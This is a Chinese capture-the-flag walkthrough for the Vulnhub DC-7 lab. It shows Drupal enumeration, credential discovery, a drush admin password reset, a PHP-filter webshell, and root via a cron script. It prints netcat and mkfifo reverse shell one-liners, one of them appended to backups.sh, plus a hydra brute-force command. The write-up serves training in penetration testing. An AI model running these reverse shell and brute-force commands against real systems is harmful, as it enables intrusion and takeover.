明确:《中华人民共和国网络安全法 》

Description

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

While this isn't an overly technical challenge, it isn't exactly easy.

While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.

What you will need to do, is to think "outside" of the box.

Waaaaaay "outside" of the box. :-)

The ultimate goal of this challenge is to get root and to read the one and only flag.

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.

Technical Information

DC-7 is a VirtualBox VM built on Debian 64 bit, but there shouldn't be any issues running it on most PCs.

All challenges are tested with VirtualBox and VMware.

It is currently configured for Bridged Networking, however, this can be changed to suit your requirements. Networking is configured for DHCP.

Installation is simple - download it, unzip it, and then import it into VirtualBox or VMWare and away you go.

Important

While there should be no problems using this VM, by downloading it, you accept full responsibility for any unintentional damage that this VM may cause.

In saying that, there shouldn't be any problems, but I feel the need to throw this out there just in case.

知道了目的后我们就可以进行下一步了,扫网段找 IP

扫 DC-7 的 IP 开了哪些服务,看到 80

单一网页,先一边后台扫敏感目录,然后我们在页面上看看有什么信息

Welcome to DC-7

DC-7 introduces some "new" concepts, but I'll leave you to figure out what they are.  :-)

While this challenge isn't all that technical, if you need to resort to brute forcing or a dictionary attacks, you probably won't succeed.

What you will have to do, is to think "outside" the box.

Way "outside" the box.  :-)

提示爆破不可能,所以应该有更隐藏的信息,源码也没有东西

对应的 CMS 是 Drupal,wpscan 不能用,用专扫 cms 的 droopescan 枚举用户名

扫出一个默认用户名 admin

可以看看对应的漏洞

同时对比之前做过的 Drupal 页面,可以在左下角 Powered by Drupal 看到多出来了一个类似作者之类的联系人,直接搜索可以看到第一条是 GitHub 的用户 Dc7User,可以看到储存库有个项目

这是公开的,而且进入后可以看到下面的留言

staffdb

This is some "code" (yes, it's not the greatest code, but that wasn't the point) for the DC-7 challenge.

This isn't a flag, btw, but if you have made it here, well done anyway. :-)

后台扫描的页面基本是无法访问的,roborts 协议里也没有藏东西,如果再找不到东西我们就去利用漏洞,把这个数据库文件下载后查看各个敏感文件,发现一个 localhost 的用户名和密码

<?php$servername = "localhost";$username = "dc7user";$password = "MdR3xOgB7#dW";$dbname = "Staff";$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

尝试连接 ssh 服务

可以连接,且可以在欢迎语句中看到我有一封新邮件

且在当前目录下有个 mbox,是已阅邮件文件,可以看看,但没有有价值的东西

再次查看目录下文件时出现一句话,新邮件的位置

找到目录,查看邮件

From root@dc-7 Sat Mar 26 18:45:26 2022
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Sat, 26 Mar 2022 18:45:26 +1000
Received: from root by dc-7 with local (Exim 4.89)
    (envelope-from <root@dc-7>)
    id 1nY233-0001Fh-Se
    for root@dc-7; Sat, 26 Mar 2022 18:45:25 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1nY233-0001Fh-Se@dc-7>
Date: Sat, 26 Mar 2022 18:45:25 +1000

Database dump saved to /home/dc7user/backups/website.sql               [success]

From root@dc-7 Sat Mar 26 19:00:26 2022
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Sat, 26 Mar 2022 19:00:26 +1000
Received: from root by dc-7 with local (Exim 4.89)
    (envelope-from <root@dc-7>)
    id 1nY2Ha-0001GN-LJ
    for root@dc-7; Sat, 26 Mar 2022 19:00:26 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1nY2Ha-0001GN-LJ@dc-7>
Date: Sat, 26 Mar 2022 19:00:26 +1000

Database dump saved to /home/dc7user/backups/website.sql               [success]

From root@dc-7 Sat Mar 26 19:15:26 2022
Return-path: <root@dc-7>
Envelope-to: root@dc-7
Delivery-date: Sat, 26 Mar 2022 19:15:26 +1000
Received: from root by dc-7 with local (Exim 4.89)
    (envelope-from <root@dc-7>)
    id 1nY2W6-0001JN-3l
    for root@dc-7; Sat, 26 Mar 2022 19:15:26 +1000
From: root@dc-7 (Cron Daemon)
To: root@dc-7
Subject: Cron <root@dc-7> /opt/scripts/backups.sh
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin>
X-Cron-Env: <SHELL=/bin/sh>
X-Cron-Env: <HOME=/root>
X-Cron-Env: <LOGNAME=root>
Message-Id: <E1nY2W6-0001JN-3l@dc-7>
Date: Sat, 26 Mar 2022 19:15:26 +1000

Database dump saved to /home/dc7user/backups/website.sql               [success]

可以看到这是一个计时程序,脚本每隔 15 分钟执行一次,自己的后台发送给自己,如果在脚本中插入命令反弹 shell,即可提权

发现无法写入程序,没有权限,查看脚本

ls -l 查看目录信息,root 权限,www-data 所持有,www-data 是默认运行web服务的用户/组,所以可能我们需要利用之前所查找到的 admin 进入网页

但是没有密码,在 DC7 网站上爬密码字典

hydra 爆破登录,没能爆出

hydra 192.168.37.129 ssh -f -l admin -P DC-7_passwd.txt -t 20

-f          爆到停

-l          指定用户名

-P         指定密码字典

现在我们需要登录 admin,没有其他的路了,再回头看看,到了这一步肯定是有方法,只是遗漏

邮件的内容已经没有其他的价值了,所以那个脚本应该还有东西

#!/bin/bash
rm /home/dc7user/backups/*                        删除
cd /var/www/html/        
drush sql-dump --result-file=/home/dc7user/backups/website.sql        drupal 命令
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/

gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql            加密

gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz        加密

chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

除去加密命令和删除命令有两条特殊的命令

chown dc7user:dc7user /home/dc7user/backups/*

这条是将 /home/dc7user/backups/* 的所有权转给 :后面用户

这条命令是最特殊的,是 CMS 的操作命令

drush sql-dump --result-file=/home/dc7user/backups/website.sql        drupal 命令

在 Introduction · Begining Drupal 8 中文版  的 第15章 使用Drush 搜索到密码的相关命令

drush user-password admin --password="123456"

执行,重置 admin 密码,发现不能执行,权限过低

再回头看看,在脚本中是先执行了 cd /var/www/html/ 再执行 drush,所以试试

执行成功,所以刚刚进入的文件夹内就是 drupal 的后台文件,还可以看到其中的 robots.txt

登录成功了, 在网页中我们需要进行获取 www-data 的 shell 操作需要找到一个可以写入或者导入木马之类的点,但是没有什么有用的点,但是有个可以安装拓展的地方

Extend

而且我们现在在管理员的后台,可以直接看到更具体的版本号,所以漏洞利用就可以开始了

查找版本号更加匹配的漏洞,发现并没有相关的漏洞

如果我们想要上传木马执行,那就得有 php 能执行木马,而系统中有 php,但是没有看到 php 相关的编辑器,即使在编写首页内容,最多只有 html 的编辑器,所以如果能从拓展中安装一个编辑器就好了

在 Drupal core | Drupal.org 的官网中可以找到一些版本淘汰的功能信息

其中可以找到有关 PHP 编辑功能的信息,其中有 PHP Filter 在 8.x 版本删除的信息 PHP Filter module removed from Drupal core | Drupal.org 在文章中可以知道已经移走到模块区了,跟随可以找到相关模块的下载

下载到本地后模块安装,启用

找到新添加的 PHP Fliters 安装

再次回到首页内容编辑

这时候就会发现多出了一个 PHP Code

转换为 PHP Code 后加上小马保存

我们写入的地方是首页,所以木马也在首页

用蚁剑连接进入后台

此时我们的身份就是 www-data,设置监听,反弹 shell

nc 192.168.37.128 3333 -c /bin/bash
nc -e /bin/bash 192.168.37.128 3333

两个都一样

获取到 www-data 的权限

获取交互式 shell

接下来我们要对之前的 backups.sh 脚本写入反弹命令,目前还没有能力自己写,这里使用 wp 的,但是可以分析 wp 使用的语句

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.37.128 3333 >/tmp/f" >> backups.sh

分析:

Vulnhub DC-7相关推荐

  1. vulnhub DC系列 DC-8

    总结:exim4提权 目录 下载地址 漏洞分析 信息收集 网站爆破 后台webshell 提权 下载地址 DC-8.zip (Size: 379 MB) Download: http://www.fi ...

  2. vulnhub DC系列 DC-6

    总结:wpscan爆破,nmap提权 目录 下载地址 漏洞分析 信息收集 用户和密码爆破 命令执行 方法一: 方法二: 提权 下载地址 DC-6.zip (Size: 619 MB) Download ...

  3. vulnhub DC系列 DC-2

    总结:cewl和wpscan的使用,rbash逃逸,suid提权 下载地址 DC-2.zip (Size: 847 MB) Download: http://www.five86.com/downlo ...

  4. vulnhub DC系列 DC-4

    总结:爆破,teehee提权 目录 下载地址 漏洞分析 信息收集 密码爆破 命令执行 ​编辑 ssh爆破 提权 下载地址 DC-4.zip (Size: 617 MB) Download: http: ...

  5. vulnhub DC系列 DC-9

    总结:sql注入,端口敲门,覆盖passwd提权 下载地址 DC-9.zip (Size: 700 MB) Download: http://www.five86.com/downloads/DC-9 ...

  6. vulnhub DC系列 DC-3

    总结:joomscan工具的使用,cve-2016-4557内核提权或者cve-2021-4034内核提权 下载地址 漏洞分析 信息收集 sql注入 写马 提权 反弹shell 内核提权 cve-20 ...

  7. Vulnhub靶机DC系列-DC-8

    Vulnhub靶机DC系列-DC-8 靶场名称:DC-8 靶场地址:https://www.vulnhub.com/entry/dc-8,367/ 下载地址: DC-8.zip (Size: 379 ...

  8. 【vulnhub】靶机- [DC系列]DC9(附靶机))

    主机信息 Kali:192.168.56.113 DC9:192.168.56.112 实验过程 先进行主机探测,查找靶机的IP地址: arp-scan --interface eth1 192.16 ...

  9. 『VulnHub系列』DC: 9-Walkthrough

    靶机地址 难度:中等 靶机发布日期:2019年12月29日 靶机描述:DC-9 is another purposely built vulnerable lab with the intent of ...

  10. vulnhub渗透系列之DC(一) :内含suid的三种提权方法

    我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习. 实验过程总结 1.这个题我觉得对刚入门的我来说,十分的困难 ...

最新文章

  1. 走近酷点KoolPoint,让我们深度挖掘网管软件的设计细节
  2. 灰色预测模型代码_生信审稿人最常问的验证!临床预测模型中的PCA主成分分析!这点你注意到了没!(附代码)...
  3. Struts2+Spring详解
  4. c语言Winmain 错误,C语言编译错误 undefined reference to `WinMain@16'
  5. 2017微服务 mysql集群_成功升P7多亏掌握了这几点:高并发+Nginx+微服务+Redis+MySQL...
  6. 【渝粤教育】电大中专金融与税收作业 题库
  7. mysql 表2符合表1_MYSQL-表1和表2中所有可能性的所有行
  8. android 垂直的开关_安卓布局:如何让这两个按钮水平垂直居中
  9. html2canvas在不同设备生成图片大小不一致问题
  10. 最新版Eclipse下载及安装(详细)
  11. word文件转pdf转换器11.0注册码
  12. ECharts 简明教程,用js输出图表
  13. 离线缓存与客户端存储总结
  14. C# VB .NET生成条形码,支持多种格式类型
  15. 高三数学辅导:不等式、推理与证明
  16. 布丰投针实验 MATLAB仿真 以及报告
  17. 基于单片机的水壶自动加热系统_基于单片机电热水壶控制系统的设计
  18. 林瑞c语言代码规范,林瑞庆
  19. 问题解决:idea 中无法连接 sql server 数据库,报错 [08S01] 驱动程序无法通过使用安全套接字层(SSL)加密与 SQL Server 建立安全连接
  20. hello yocto

热门文章

  1. 免费赠品发布:Wintry Blue Wallpaper
  2. Android动画之Interpolator插入器
  3. HTML5网页设计基础——LOGO的制作
  4. 应对风险和机会的措施讲解
  5. 股价屡创新高,发布会带来“十三香”,苹果还能躺赢?
  6. Meson构建系统(一)
  7. 利用牛顿迭代法求平方根
  8. UML复习资料 软件建模技术选择 仅供参考】
  9. 【WPS表格】一些简单函数
  10. 9月书讯(下)| 开学季,读新书